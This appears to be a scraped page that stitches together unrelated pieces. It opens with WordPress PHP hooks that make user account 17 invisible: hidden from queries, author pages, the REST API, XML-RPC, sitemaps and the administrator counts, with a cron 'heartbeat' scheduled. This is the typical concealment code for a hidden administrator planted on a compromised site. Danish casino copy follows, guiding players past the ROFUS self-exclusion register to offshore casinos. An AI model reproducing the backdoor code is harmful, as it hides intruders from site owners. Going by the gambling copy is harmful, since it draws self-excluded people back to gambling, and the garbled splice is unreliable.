add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 17;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 17 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 17 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 17;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 17;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 17;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/17(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 17;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
ROFUS er selveksklusionsregisteret. Står du i det, lukker ingen dansk licenseret operatør dig ind. Udenlandske casinoer er ikke koblet på registret — ikke af ond vilje, de er bare ikke underlagt Spillemyndigheden. Konsekvensen går begge veje: ingen indskudslofter, ingen tvungne tabsgrænser, ingen pause fra systemet. Friheden er reel. Beskyttelsen er det ikke.
To casinoer kan ligne hinanden til forveksling og alligevel være vidt forskellige, når pengene skal ud igen. Se på regulatoren, ikke på forsiden.
| Licens | Styrke | Svaghed |
|---|---|---|
| Malta (MGA) | Skarpest spillerbeskyttelse, egentlig klageinstans, krav om adskilte spillermidler | Færre brands, og de er sjældent de mest gavmilde med bonus |
| Curaçao | Bredt udvalg, mange betalingsmetoder, høje bonuslofter | Svagere håndhævelse, klagesager trækker i langdrag |
| Anjouan | Nyere tilsyn, ofte nordisk fokus og dansk sprog hele vejen | Kort historik, få afgørelser at måle operatøren på |
Find licensnummeret i footeren og klik på det. Virker linket ikke, eller står der bare »licenseret og reguleret« uden henvisning til en myndighed, så gå videre. Et brand uden sporbart licensnummer er ikke et casino — det er et håb.
Et enkelt spørgsmål afgør det: ville du stadig sætte samme beløb ind, hvis du vidste, du tabte det hele? Svarer du ja uden at blinke, er der ingen skade sket. Svarer du nej, eller svarer du »ja, men…«, så er registret ikke dit problem — det er spillet. Sæt indskuds- og sessionsgrænser i kontoindstillingerne i samme minut, du opretter kontoen, og brug dem, længe før du får brug for dem. Glider det alligevel, kan du ringe til StopSpillet eller Center for Ludomani. Det er ikke et nederlag, det er samme slags praktiske håndtag, som når du henter en VVS’er, fordi rørene springer.
]]>ROFUS er ikke en international ordning. Det er et dansk selveksklusionsregister, og det fungerer kun, fordi dansk-licenserede operatører er forpligtet til at tjekke det, før de lukker en spiller ind. Et casino med MGA‑, Curaçao- eller Anjouan-licens har hverken adgang til registret eller pligt til at bruge det. Du kan altså være lukket ude fra samtlige danske sider og stadig blive budt velkommen med ét klik et andet sted.
Det gør ikke operatørerne kriminelle. Det gør pauseknappen til noget, du selv skal trykke på. Flere sider tilbyder Trustly, som giver hurtig bankverificering uden MitID — det tætteste, du kommer på en dansk oplevelse. Men et registertjek er det ikke.
Forskellen mellem Malta og de øvrige licenser er ikke kosmetisk. Malta stiller krav om adskillelse af spillermidler, dokumenteret klageadgang og løbende tilsyn. Curaçao og Anjouan giver operatøren større spillerum — hvilket mærkes den dag, en udbetaling strander.
| Licens | Beskyttelsesniveau | Din klagevej |
|---|---|---|
| MGA (Malta) | Stærkest, tilsyn med spillermidler | Regulator og uafhængig mægler |
| Curaçao GCB | Moderat, større operatørfrihed | Begrænset, primært operatøren selv |
| Anjouan | Nyere myndighed, kort historik | Begrænset |
Behandl en konto uden ROFUS, som du behandler en opsparing uden lås. Behageligt, men du skal selv kunne sige stop. Sæt grænserne, før første spin falder — ikke bagefter, når du skal forklare dig selv, hvorfor du ventede. Glider spillet ud af hænderne på dig, ring til StopSpillet på 70 22 28 25. Det koster ingenting, og det er langt lettere end at genoprette det bagefter.
]]>